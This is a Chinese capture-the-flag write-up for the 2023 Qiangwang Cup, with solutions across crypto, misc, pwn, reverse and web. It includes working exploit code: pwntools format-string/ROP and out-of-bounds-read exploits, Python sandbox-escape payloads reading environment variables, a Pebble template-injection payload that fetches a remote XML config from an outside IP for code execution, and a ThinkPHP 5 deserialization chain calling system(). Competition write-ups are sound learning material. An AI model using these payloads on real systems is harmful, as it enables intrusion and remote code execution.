r1 = 0x125fd6eb66351ca49073a6e55be1fa40cfd6662f80452a6bcea3b25bd69b6b26
s1 = 0x47baaef61c7a3c4c239fc2634ec25a2059d937026c6e0b72df1463fbba5b3a05

d2 = ZZ((s3 - s2) * inverse_mod(r, n) % n)

'''
s1*k1-e = d1^(-1) * r1
r1 = d1*(s1*k1-e)
r1 = d1*k1 * s1 - d1*e
s = d1*k1*s2 + d1*s3 -r
s*s1 = d1*k1*s1 * s2 + d1*s3*s1 - r*s1
s*s1 = (r1+d1*e)*s2 + d1 * s3*s1 - r*s1
'''
R = PolynomialRing(GF(n), 'x')
x = R.gens()[0]
f = (r1 + x*e)*s2 + x*s3*s1 - r*s1 - s*s1
ans = f.roots()

d1 = 90919127323695568397119051689582862352296983775157729258730148362152821090405
d2 = 75133153874808200698750375741973887146735262423059242244009334005845482114914
e = 0x9e810778a6b177c6aa1799365977adfbeef605c19b5ea917527d1541c1339019

k1 = 233
P = inverse_mod(d1, n) * G
Q = k1*G
r1 = ZZ(Q.xy()[0])
s1 = ZZ(inverse_mod(k1, n) * (e + inverse_mod(d1, n) * r1) % n)

k2 = 17
k3 = 71
R = k2*G + k3*Q
x1 = ZZ(R.xy()[0])
r = ZZ((e + x1) % n)
s2 = ZZ(d2 * k3 % n)
s3 = ZZ(d2 * (r+k2) % n)

s = (d1*k1*s2 + d1*s3 - r) % n
print(s)
print(hex(r)[2:])
print(hex(s)[2:])




来源: https://tangcuxiaojikuai.xyz/post/6452f9a0.html

MISC

easyfuzz

1、通过尝试输入字符串判断该程序对输入字符的验证规则为9位字符,并且只要满足输入正确字符使最后返回值全部为111111111即可得flag

4yprmgcvx5m13362.jpg

继续大胆猜测并尝试,发现前两位字符可以为任何字符,都满足110000000,由此可以对后七位字符进行爆破

44cm5q3iitg13365.png

2、逐位爆破,验证思路正确,最后一位为字符串"d"

ljqkzfnsk2213367.png

3、编写爆破脚本,当字符串长度为9位并输入时,将回显不为“Here is your code coverage: 110000000”的结果打印,脚本如下

from pwn import *
from string import printable
conn = remote('101.200.122.251', 12199)
non_matching_strings = []
for i in range(9):
    for char in printable:
        payload = 'a'*i + char + 'a'*(8-i)
        print(conn.recvuntil(b'Enter a string (should be less than 10 bytes):'))
        conn.sendline(payload.encode())
        response = conn.recvline().decode().strip()
        if response != "Here is your code coverage: 110000000":
            non_matching_strings.append(payload)
for string in non_matching_strings:
    print(string)

FLAG:qwb{YouKnowHowToFuzz!}

签到

flag{welcome_to_qwb_2023}

Pyjail ! It's myFILTER !!!

Python沙箱逃逸闭合之后open直接读environ得到flag

{13212}'+(print(open('/proc/1/environ').read()))+'
 或者使用payload:
{print(open("/proc/1/environ").read())}
va31501o1xh13369.jpg lgnj51xzwlo13371.jpg
flag{61e81b4f-566c-49f5-84dd-d79319fddc82}

Pyjail ! It's myRevenge !!!

Python沙箱逃逸

用write写文件import os;os.system(“nl fl* >hzy”)执行之后再用read读取执行内容得到flag

过滤字符全用八进制绕过,分段写

{13212}'+(open('wsy', "a").write('151155160157162'))+'{13212}'+(open('wsy', "a").write('t 157'))+'{13212}'+(open('wsy', "a").write('163;157'))+'{13212}'+(open('wsy', "a").write('163.'))+'{13212}'+(open('wsy', "a").write('163y'))+'{13212}'+(open('wsy', "a").write('st'))+'{13212}'+(open('wsy', "a").write('em("nl 146*>hzy")'))+'{13212}'+open('143157de.py','w').write(open('wsy').read())+'{13212}'+(print(open('hzy').read()))+'
或者依次执行下面poc:
{globals().update(dict(my_filter=lambda x:1))}''{in''put()}'#
{globals().update(dict(len=lambda x:0))}''{in''put()}'#
{print("".__class__.__mro__[1].__subclasses__()[137].__init__.__globals__["__builtins__"]["__import__"]("os").listdir())}
['flag_26F574F8CEE82D06FEDC45CF5916B86A732DD326CE1CB2C9A96751E072D0A104', 'server_8F6C72124774022B.py']
{globals().update(dict(my_filter=lambda x:1))}''{in' 'put()}'# 
{globals(). update(dict(len=lambda x:0))}''{in' 'put()}'#
{print (open("flag_26F574F8CEE82D06FEDC45CF5916B86A732DD326CE1CB2C9A96751E072D0A104"). read())}
3j1v1vidnps13373.jpg  
flag{8f0a4ac2-52d3-4adb-a1a3-47e05997817d}

Wabby Wabbo Radio

f12可以拿到wav的链接/static/audios/xh4.wav

yw2feqxv3hm13375.jpg

重新刷新了一下发现是随机选取播放的

fuzz了一下总共有xh1-xh5和hint1-hint2以及flag.wav

每一个wav的左声道显然是莫斯

 

i0lif3ws5pu13378.jpg

 

分离声道,增幅,在线网站解一下

https://morsecode.world/international/decoder/audio-decoder-adaptive.html

得到:

Do you want a flag? Let's listen a little longer.Genshin Impact starts.The weather is really nice today. It's a great day to listen to the Wabby Wabbo radio.If you don't know how to do it, you can go ahead and do something else first.may be flag is png picturedo you know QAM?

其他都没啥用,就一个提示了QAM载波幅度

https://info.support.huawei.com/info-finder/encyclopedia/zh/QAM.html#Qam的星座图

简单了解了一下发现可以通过振幅来区分01,尝试打印了一下振幅,发现刚好都是集中在±1,±3之间

biay4wxsvvf13380.jpg

对比16QAM的星座图可以发现振幅拼一起刚好能起到一个信号的对应关系,但是不知道具体的对应关系是啥,直接盲猜一手从小到大,

简单的脚本如下:

import scipy.io.wavfile as wav
import numpy as np
import sys

sample_rate, data = wav.read("flag.wav")
for i in data:
    print(i)
flag=''
def repla(n):
    if n == -3:
        return '00'
    elif n == -1:
        return '01'
    elif n == 1:
        return '10'
    elif n == 3:
        return '11'

for x, y in data:
    n1 = round(float(x))
    n2 = round(float(y))
    flag += repla(n1)
    flag += repla(n2)

print(flag)

eiw1dnn4tdc13382.jpg

谍影重重3.0

给了hint:纸飞机他也是飞机,也能飞出国境抵达大洋彼岸,结合题目描述特殊隧道很容易联想到是vpn

稍微搜一下就可以得到是Shadowsks,参考文章:

https://phuker.github.io/posts/Shadowsks-active-probing.html

给出了完整解密脚本,但是不知道key,直接爆破一下,用HTTP当作请求成功的标识

#!/usr/bin/env python3
# encoding: utf-8

import os
import sys
import logging
import hashlib

from Crypto.Cipher import AES

logging.basicConfig(level=logging.INFO)


def EVP_BytesToKey(password, key_len, iv_len):
    m = []
    i = 0
    while len(b''.join(m)) < (key_len + iv_len):
        md5 = hashlib.md5()
        data = password
        if i > 0:
            data = m[i - 1] + password
        md5.update(data)
        m.append(md5.digest())
        i += 1
    ms = b''.join(m)
    key = ms[:key_len]
    iv = ms[key_len:key_len + iv_len]

    return key, iv

def decrypt(cipher,password):
    key_len = int(256/8)
    iv_len = 16
    mode = AES.MODE_CFB

    key, _ = EVP_BytesToKey(password, key_len, iv_len)
    cipher = bytes.fromhex(cipher)
    iv = cipher[:iv_len]
    real_cipher = cipher[iv_len:]

    obj = AES.new(key, mode, iv, segment_size=128)
    plain = obj.decrypt(real_cipher)

    return plain


def main():
    # test http request
    cipher = 'e0a77dfafb6948728ef45033116b34fc855e7ac8570caed829ca9b4c32c2f6f79184e333445c6027e18a6b53253dca03c6c464b8289cb7a16aa1766e6a0325ee842f9a766b81039fe50c5da12dfaa89eacce17b11ba9748899b49b071851040245fa5ea1312180def3d7c0f5af6973433544a8a342e8fcd2b1759086ead124e39a8b3e2f6dc5d56ad7e8548569eae98ec363f87930d4af80e984d0103036a91be4ad76f0cfb00206'

    with open('rockyou.txt','rb') as f:
        lines = f.readlines()
    for password in lines:
        plain = decrypt(cipher,password.strip())
        if b'HTTP' in plain:
            print(password,plain)

if __name__ == "__main__":
    main()

#b'superman\n' b'\x03\x0f192.168.159.131\x00PGET /Why-do-you-want-to-know-what-this-is HTTP/1.1\r\nHost: 192.168.159.131\r\nUser-Agent: curl/8.4.0\r\nAccept: */*\r\nConnection: close\r\n\r\n'

得到文件名为Why-do-you-want-to-know-what-this-is,md5后得到flag

flag{dc7e57298e65949102c17596f1934a97}

谍影重重2.0

根据题目描述飞机流量可以很容易联想到ADS-B协议

导出tcp流数据

tshark -r attach.pcapng -Y "tcp" -T fields -e tcp.segment_data > tcp.txt

解析脚本:

import pyModeS

with open('tcp.txt','r')as f:
    lines = f.readlines()
for data in lines:
    if len(data)==47:
        print(pyModeS.decoder.tell(data[18:]))

筛选一下Airborne velocity ,得到79a05e的飞机速度最快为371 knots,md5 ICAO address为flag

kter5lg30pv13383.jpg
或者

将数据包导出为json格式

 

szb5gys4xfa13385.png

 

使用脚本提取字段并进行MD5

import json
import pyModeS as pms
import hashlib
 
with open('123.json', 'r', encoding='utf-8') as file:
    data = json.load(file)
 
info = []
for packet in data:
    if 'layers' in packet['_source'] and 'tcp' in packet['_source']['layers']:
        tcp_layer = packet['_source']['layers']['tcp']
 
        if 'tcp.payload' in tcp_layer:
            tcp_payload = tcp_layer['tcp.payload'].replace(':','')
            info.append(tcp_payload)
 
planes_data = []
 
for i in info:
    msg = i[18:]
    if pms.adsb.typecode(msg) >= 19 and pms.adsb.typecode(msg) <= 22:
        icao = pms.adsb.icao(msg)
        velocity_info = pms.adsb.velocity(msg)
        speed, track, vertical_rate, _ = velocity_info
 
        plane_info = {"icao": icao, "speed": speed, "track": track, "vertical_rate": vertical_rate}
        planes_data.append(plane_info)
 
fastest_plane = max(planes_data, key=lambda x: x['speed'])
print(hashlib.md5(fastest_plane['icao'].upper().encode()).hexdigest())
#flag{4cf6729b9bc05686a79c1620b0b1967b}

happy chess

应该是非预期,随便输入9个任意位置直接exit掉该轮就算成功了

gk2hbpedrhk13387.jpg  

强网先锋

speedup

纯社工题,要求2的27次方的阶乘的逐位之和,OEIS上直接有这一个值了

https://oeis.org/A244060/list

2023 强网杯 writeup by Arr3stY0u

sha256后得到flag

flag{bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797}

找到PNG了吗

strings main.mem | grep "Linux version"
f5fr5onn5ke13392.jpg

拿到内核版本后照着

https://treasure-house.randark.site/blog/2023-10-25-MemoryForensic-Test/

做个linux的profile

python2 vol.py -f C:Users22826Desktopmain.mem --profile=LinuxUbuntu2004x64 linux_find_file -L | findstr "Desktop"

桌面上能找到个文件have_your_fun.jocker

xpcagh5qxcl13394.jpg

尝试导出,但为空

python2 vol.py -f C:Users22826Desktopmain.mem --profile=LinuxUbuntu2004x64 linux_find_file -i 0xffff9ce28fe300e8 -Ohave_your_fun.jocker

不知道如何恢复,直接尝试全局搜一下文件名

找到一个加密脚本,简单的两次rc4加密,key都给了

根据题目需要找png,可以猜测have_your_fun.jocker就是加密后的png

2023 强网杯 writeup by Arr3stY0u

直接加密一下png头

2023 强网杯 writeup by Arr3stY0u

可以直接定位到内存中残留的have_your_fun.jocker位置

2023 强网杯 writeup by Arr3stY0u

直接解密得到flag图

2023 强网杯 writeup by Arr3stY0u

flag{It's_So_Hard_To_Find_A_Picture}

trie

题目分析

–在构建路由表使用了字典树数据结构,每次遇到新ip会插入分支,并且其节点值赋值为tot

–查询时也是查找该字典树,取节点的tot为索引,打印四字节end[tot]

思路分析

–在add时使用完tot之后没有归零,导致在view时读取溢出部分数据(能够读取到secret上的flag),每次读取逆序4字节,将ascii码转成对应字符拼接即可。

–同时为了获取完整flag,每次需要使得search函数里查询得到的tot索引+1,为此需要构造一颗子树,使其空出若干个叶子,(每空出一个叶子即可打印4字节flag)

–我构造了一个空出9个叶子的节点,其中包含一个填充的(目的是使得tot至少为0x40)

2023 强网杯 writeup by Arr3stY0u

exp

 #!/usr/bin/env python3

from pwncli import *

cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
context.arch = "amd64"


def add(des, next):
    io.recvuntil(b"4. Quit.")
    io.sendline(b"1")
    io.recvuntil(b"Input destination IP:")
    io.sendline(des)
    io.recvuntil(b"Input the next hop:")
    io.sendline(next)


def show(des):
    io.recvuntil(b"4. Quit.")
    io.sendline(b"2")
    io.recvuntil(b"Input destination IP:")
    io.sendline(des)


def get_flag():
    io.recvuntil(b"4. Quit.")
    io.sendline(b"3")


def leak(data):
    add(str(data).encode() + b".0.0.0", b"0.0.0.0")
    get_flag()
    show(str(data).encode() + b".0.0.0")
    io.recvuntil(b"The next hop is ")
    info = io.recvuntil(b"\n", drop=True)
    parts = info.split(b".")
    parts = parts[::-1]
    ascii_values = [chr(int(part)) for part in parts]
    ascii_values = "".join(ascii_values)
    flag = ascii_values
    return flag


add("0.0.0.0", "0.0.0.0")  # 32
add("64.0.0.0", "0.0.0.0")  # 2
add("32.0.0.0", "0.0.0.0")  # 3
add("96.0.0.0", "0.0.0.0")  # 2
add("16.0.0.0", "0.0.0.0")  # 4
add("80.0.0.0", "0.0.0.0")  # 2
add("48.0.0.0", "0.0.0.0")  # 3
add("112.0.0.0", "0.0.0.0")  # 2
add("0.4.0.0", "0.0.0.0")  # 14

flag = ""
get_flag()
show(b"0.4.0.0")  # 0x40
io.recvuntil(b"The next hop is ")
info = io.recvuntil(b"\n", drop=True)
parts = info.split(b".")
parts = parts[::-1]
ascii_values = [chr(int(part)) for part in parts]
ascii_values = "".join(ascii_values)
flag += ascii_values
log.success(flag)

flag += leak(128)
log.success(flag)

flag += leak(192)
log.success(flag)

flag += leak(160)
log.success(flag)

flag += leak(144)
log.success(flag)

flag += leak(208)
log.success(flag)

flag += leak(176)
log.success(flag)

flag += leak(240)
log.success(flag)

flag += leak(224)
log.success(flag)

add(b"128.4.0.0", b"0.0.0.0")
get_flag()
show(b"128.4.0.0")  # 0x40
io.recvuntil(b"The next hop is ")
info = io.recvuntil(b"\n", drop=True)
parts = info.split(b".")
parts = parts[::-1]
ascii_values = [chr(int(part)) for part in parts]
ascii_values = "".join(ascii_values)
flag += ascii_values
log.success(flag)
io.interactive()

2023 强网杯 writeup by Arr3stY0u

ez_fmt

格式化字符串打printf的返回地址为csu的部分gadget,然后执行跳转magic_read(0x401205)执行rop链。

#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2023-12-16 13:34:34
Usage:
    Debug : python3 exp.py debug elf-file-path -t -b malloc
    Remote: python3 exp.py remote elf-file-path ip:port
'''

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

ru('There is a gift for you ')
leak_stack  = int(rl()[:-1],16)
leak_ex2(leak_stack)


attack_stack = leak_stack - 0x8
pd = flat(
    {
        0:'%' + str(0xce) + 'c' + '%11$hhn%19$p',
        0x18:[0x401205],
        0x28:attack_stack,
    }
)
s(pd)
ru('0x')
leak_libc = int(r(12),16)
leak_ex2(leak_libc)
lb = leak_libc - 0x24083
libc.address = lb

pd = flat(
    {
        0x18:[
            CG.pop_rdi_ret(),
            CG.bin_sh(),
            lb + 0x51cd2]
    }
)
S()
s(pd)

ia()

hello spring

审计源码后发现是pepple的模板注入

发现过滤了

org.springframework.context.support.ClassPathXmlApplicationContext

用字符串拼接的方式绕过

org.springframework.context."+"support.ClassPathXmlApplicationContext

上传payload如下

POST /uploadFile HTTP/1.1
Host: eci-2ze7ksohishwh34f2u43.cloudeci1.ichunqiu.com:8088
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 567

content=%7B%25%20set%20y%3D%20beans.get(%22org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory%22).resourceLoader.classLoader.loadClass(%22java.beans.Beans%22)%20%25%7D%0A%7B%25%20set%20yy%20%3D%20%20beans.get(%22jacksonObjectMapper%22).readValue(%22%7B%7D%22%2C%20y)%20%25%7D%0A%7B%25%20set%20yyy%20%3D%20yy.instantiate(null%2C%22org.springframework%22%2B%22.context.support.ClassPathXmlApplicationContext%22)%20%25%7D%0A%7B%7B%20yyy.setConfigLocation(%22http%3A%2F%2F47.76.178.89%3A8081%2F1.xml%22)%20%7D%7D%0A%7B%7B%20yyy.refresh()%20%7D%7D

上传的文件名与时间有关,并且题目环境的时间与现实不一样

public static String general_time() {
    LocalDateTime currentTime = LocalDateTime.now();
    DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyyMMdd_HHmmss");
    String var10000 = currentTime.format(formatter);
    String fileName = "file_" + var10000 + ".pebble";
    System.out.println("filename is " + fileName);
    return fileName;
}

 

yoolbmjcpf013434.jpg

 

那么文件名就为 file_20231217_160502,发送payload去触发该点

GET /?x=../../../../../../../../tmp/file_20231217_160502 HTTP/1.1
Host: eci-2ze7ksohishwh34f2u43.cloudeci1.ichunqiu.com:8088
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

 

kvh3c5vfd3f13439.jpg

 

babyre

调试发现密钥和密文都变了

 

yadbuzrx2lm13445.jpg

 

加解密过程对应着修改

 

zhhgvvttz3y13449.jpg

 

解密脚本

#include <stdio.h>
#include <stdint.h>

//加密函数
void encrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], sum = 0x90508D47, delta = 0x77BF7F99;
    for (int j = 0; j < 4; j++)
    {
        for (i = 0; i < num_rounds; i++)
        {
            v0 += (((v1 >> 4) ^ (v1 << 5)) + v1) ^ (sum + key[sum & 3]) ^ sum;
            v1 += (((v0 >> 4) ^ (v0 << 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
            sum -= delta;
        }
    }
    v[0] = v0;
    v[1] = v1;
    printf("sum==0x%x\n", sum);
}

//解密函数
void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], delta = 0x77BF7F99, sum = 0xd192c263;
    for (int j = 0; j < 4; j++)
    {
        for (i = 0; i < num_rounds; i++)
        {
            sum += delta;
            v1 -= (((v0 >> 4) ^ (v0 << 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
            v0 -= (((v1 >> 4) ^ (v1 << 5)) + v1) ^ (sum + key[sum & 3]) ^ sum;
        }
    }
    v[0] = v0;
    v[1] = v1;
    printf("sum==0x%x\n", sum);
}

//打印数据 hex_or_chr: 1-hex 0-chr
void dump_data(uint32_t *v, int n, bool hex_or_chr)
{
    if (hex_or_chr)
    {
        for (int i = 0; i < n; i++)
        {
            printf("0x%x,", v[i]);
        }
    }
    else
    {
        for (int i = 0; i < n; i++)
        {
            for (int j = 0; j < sizeof(uint32_t) / sizeof(uint8_t); j++)
            {
                printf("%c", (v[i] >> (j * 8)) & 0xFF);
            }
        }
    }
    printf("\n");
    return;
}

int main()
{
    // v为要加解密的数据
    uint32_t v[] = {0x9523f2e0, 0x8ed8c293, 0x8668c393, 0xddf250bc, 0x510e4499, 0x8c60bd44, 0x34dcabf2, 0xc10fd260};
    // k为加解密密钥,4个32位无符号整数,密钥长度为128位
    uint32_t k[4] = {0x62, 0x6F, 0x6D, 0x62};
    // num_rounds,建议取值为32
    unsigned int r = 33;

    int n = sizeof(v) / sizeof(uint32_t);
    /*
    printf("加密前明文数据:");
    dump_data(v, n, 1);

    for (int i = 0; i < n / 2; i++)
    {
        encrypt(r, &v[i * 2], k);
    }
    */
    printf("加密后密文数据:");
    dump_data(v, n, 1);

    for (int i = 0; i < n / 2; i++)
    {
        decrypt(r, &v[i * 2], k);
    }

    printf("解密后明文数据:");
    dump_data(v, n, 1);

    printf("解密后明文字符:");
    dump_data(v, n, 0);

    return 0;
}

// W31com3_2_Th3_QwbS7_4nd_H4v3_Fun

ezre

变表base64编解码交替

2023 强网杯 writeup by Arr3stY0u

有个循环异或

2023 强网杯 writeup by Arr3stY0u

先逆循环异或

enc = [0x3A, 0x2C, 0x4B, 0x51, 0x68, 0x46, 0x59, 0x63, 0x24, 0x04,
       0x5E, 0x5F, 0x00, 0x0C, 0x2B, 0x03, 0x29, 0x5C, 0x74, 0x70,
       0x6A, 0x62, 0x7F, 0x3D, 0x2C, 0x4E, 0x6F, 0x13, 0x06, 0x0D,
       0x06, 0x0C, 0x4D, 0x56, 0x0F, 0x28, 0x4D, 0x51, 0x76, 0x70,
       0x2B, 0x05, 0x51, 0x68, 0x48, 0x55, 0x24, 0x19]
tbs = ["l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr",
       "FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8",
       "Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA",
       "pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a",
       "plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"]
aaa = [ord(c)
       for c in "plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"]
for i in range(len(aaa)):
    aaa[i] ^= 0x27
v5 = aaa[6:6+0x15]
v7 = 2023
v6 = 0
v8 = 48
xor = []
while v6 < v8 - 1:
    if v6 % 3 == 1:
        v7 = (v7 + 5) % 20
        v3 = v5[v7 + 1]
    elif v6 % 3 == 2:
        v7 = (v7 + 7) % 19
        v3 = v5[v7 + 2]
    else:
        v7 = (v7 + 3) % 17
        v3 = v5[v7 + 3]
    v6 += 1
    xor.append(v3)
for i in range(len(enc)-1, -1, -1):
    enc[i] ^= enc[i-1]
    if i <= len(enc)-2:
        enc[i] ^= xor[i]
print(bytes(enc))
# jZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp==

再逆变表base64编解码再补全

2023 强网杯 writeup by Arr3stY0u

flag{3ea590ccwxehg715264fzxnzepqz}

石头剪刀布

因为模型的预测是只跟输入的sequence有关,所以可以根据当前情况的最优解输入进去来得到模型的下一步输出,这样就可以得到我们下一步的最优解。一直循环下去,就可以得到全部的最优解。

由于前面5次大模型是随机输出的,因此我们可以考虑从第6次开始求最优解。最坏情况下,前5次全输,需要87步即可达到260分,即第92轮时,因此可以通过本题。

from pwn import remote

ip = '<ip>'
port = '<port>'

class GetStatus:
    def __init__(self, _ip=ip, _port=port) -> None:
        self.r = remote(_ip, _port)
        self.score = 0

    def getdiff(self, out):
        self.r.sendlineafter('请出拳'.encode(), str(out).encode())
        self.r.recvuntil('分数:'.encode())
        newscore = int(self.r.recvline().decode()) 
        diff = newscore - self.score
        self.score = newscore
        return diff

    def test_list(self, lis):
        for out in lis:
            diff = self.getdiff(out)
            if self.score >= 260:
                return 'win'
        return diff

current_best = [0] * 5
diff2out = {
    3: 0,
    1: 2,
    0: 1
}
while len(current_best) <= 100:
    current_best.append(0)
    c = GetStatus()
    diff = c.test_list(current_best)
    if c.score >= 260:
        c.r.interactive()
        break
    c.r.close()
    current_best[-1] = diff2out[diff]
    print(f'Round {len(current_best)}: {current_best}')
或者

按照如下顺序即可获胜

0000011220120220110111222010022012110021012012202100112022100112110020110220210201

2qrcfev5yae13463.png

CRYPTO

not only rsa

n是一个质数5次方,可以求解1和C的根后进行组合出所有C的根,sage脚本如下:

from Crypto.Util.number import  long_to_bytes
p=91027438112295439314606669837102361953591324472804851543344131406676387779969
e = 641747
c = 730024611795626517480532940587152891926416120514706825368440230330259913837764632826884065065554839415540061752397144140563698277864414584568812699048873820551131185796851863064509294123861487954267708318027370912496252338232193619491860340395824180108335802813022066531232025997349683725357024257420090981323217296019482516072036780365510855555146547481407283231721904830868033930943
n=p^5
K=Zmod(p^5)
a=K(c).nth_root(e)
b=K(1).nth_root(e)
a=int(a)
b=int(b)
print(b,a)
from tqdm import tqdm
for i in tqdm(range(e)):
  a=(a*b)%n
  m=long_to_bytes(int(a))
  if b"flag" in m:
    print(m)
    break

#flag{c19c3ec0-d489-4bbb-83fc-bc0419a6822a}

 

discrete_log

阅读代码,题目给的假flag长度较小,猜测实际flag长度也较小,据此采用中间相遇思想进行破解

import itertoolsfrom gmpy2 import *from Crypto.Util.Padding import *from Crypto.Util.number import *from tqdm import tqdmp = 173383907346370188246634353442514171630882212643019826706575120637048836061602034776136960080336351252616860522273644431927909101923807914940397420063587913080793842100264484222211278105783220210128152062330954876427406484701993115395306434064667136148361558851998019806319799444970703714594938822660931343299g = 5c = 105956730578629949992232286714779776923846577007389446302378719229216496867835280661431342821159505656015790792811649783966417989318584221840008436316642333656736724414761508478750342102083967959048112859470526771487533503436337125728018422740023680376681927932966058904269005466550073181194896860353202252854q = 86691953673185094123317176721257085815441106321509913353287560318524418030801017388068480040168175626308430261136822215963954550961903957470198710031793956540396921050132242111105639052891610105064076031165477438213703242350996557697653217032333568074180779425999009903159899722485351857297469411330465671649flag_len=12fake_flag_pad='flag{'.encode() +'x00'.encode()*flag_len+'}'.encode()flag_pattern = (pad(fake_flag_pad, 128))#print(flag_pattern)flag_pattern=bytes_to_long(flag_pattern)pattern=1<<888#print(bin(pattern))cc = c * inverse(pow(g,flag_pattern,p),p)%pcc = pow(cc, inverse(pattern, q), p)print(cc)table = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']dic = dict()gtemp= pow(g, 2**48, p)for half_flag1 in tqdm(itertools.product(table, repeat=6)):    half_flag1 = bytes_to_long(''.join(half_flag1).encode())    temp = cc * powmod(gtemp, -(half_flag1), p) % p    dic[temp] = half_flag1for half_flag2 in tqdm(itertools.product(table, repeat=6)):    half_flag2 = bytes_to_long(''.join(half_flag2).encode())    temp = powmod(g, half_flag2, p)    if temp in dic:        print(long_to_bytes(dic[temp]) + long_to_bytes(half_flag2))

WEB

thinkshop

附件在本地起docker可以得到源码,审计发现admin路由

后台路径 /public/index.php/index/admin/login.html

1/123456登陆后台

 

sjhzdtazw4g13465.jpg

 

审计发现在保存操作调用save->updatedata

 

senrvrqy2wr13469.jpg

 

在updatedata存在SQL注入,$key相当于是$data中的一个键值。

 

yml5zi2gann13471.jpg

 

在保存商品时会调用saveGoods数据进行序列化之后保存到数据库

 

pd5ft4eg34j13473.jpg

 

在编辑页面可以看到数据抽取时会进行反序列化操作

 

vqcz1yb0pnz13477.jpg

 

利用SQL注入修改data数据的值,本题data是数组,且会插入数据库,最终的payload需要改一下让前后闭合,且TP5,在网上找一个链子的EXP改一下

https://www.freebuf.com/vuls/317886.html

<?php
namespace think\process\pipes{
    use think\model\Pivot;
    ini_set('display_errors',1);
    class Windows{
        private $files = [];
        public function __construct($function,$parameter)
{
            $this->files = [new Pivot($function,$parameter)];
        }
    }
    $aaa = new Windows('system','nl /f*');
    echo base64_encode(serialize(array($aaa)));
}
namespace think{
    abstract class Model
    {}
}
namespace think\model{
    use think\Model;
    use think\console\Output;
    class Pivot extends Model
{
        protected $append = [];
        protected $error;
        public $parent;
        public function __construct($function,$parameter)
{
            $this->append['jelly'] = 'getError';
            $this->error = new relation\BelongsTo($function,$parameter);
            $this->parent = new Output($function,$parameter);
        }
    }
    abstract class Relation
{}
}
namespace think\model\relation{
    use think\db\Query;
    use think\model\Relation;
    abstract class OneToOne extends Relation
{}
    class BelongsTo extends OneToOne
{
        protected $selfRelation;
        protected $query;
        protected $bindAttr = [];
        public function __construct($function,$parameter)
{
            $this->selfRelation = false;
            $this->query = new Query($function,$parameter);
            $this->bindAttr = [''];
        }
    }
}
namespace think\db{
    use think\console\Output;
    class Query
{
        protected $model;
        public function __construct($function,$parameter)
{
            $this->model = new Output($function,$parameter);
        }
    }
}
namespace think\console{
    use think\session\driver\Memcache;
    class Output
{
        protected $styles = [];
        private $handle;
        public function __construct($function,$parameter)
{
            $this->styles = ['getAttr'];
            $this->handle = new Memcache($function,$parameter);
        }
    }
}
namespace think\session\driver{
    use think\cache\driver\Memcached;
    class Memcache
{
        protected $handler = null;
        protected $config  = [
            'expire'       => '',
            'session_name' => '',
        ];
        public function __construct($function,$parameter)
{
            $this->handler = new Memcached($function,$parameter);
        }
    }
}
namespace think\cache\driver{
    use think\Request;
    class Memcached
{
        protected $handler;
        protected $options = [];
        protected $tag;
        public function __construct($function,$parameter)
{
            // pop链中需要prefix存在,否则报错
            $this->options = ['prefix'   => 'jelly/'];
            $this->tag = true;
            $this->handler = new Request($function,$parameter);
        }
    }
}
namespace think{
    class Request
    {
        protected $get     = [];
        protected $filter;
        public function __construct($function,$parameter)
{
            $this->filter = $function;
            $this->get = ["jelly"=>$parameter];
        }
    }
}
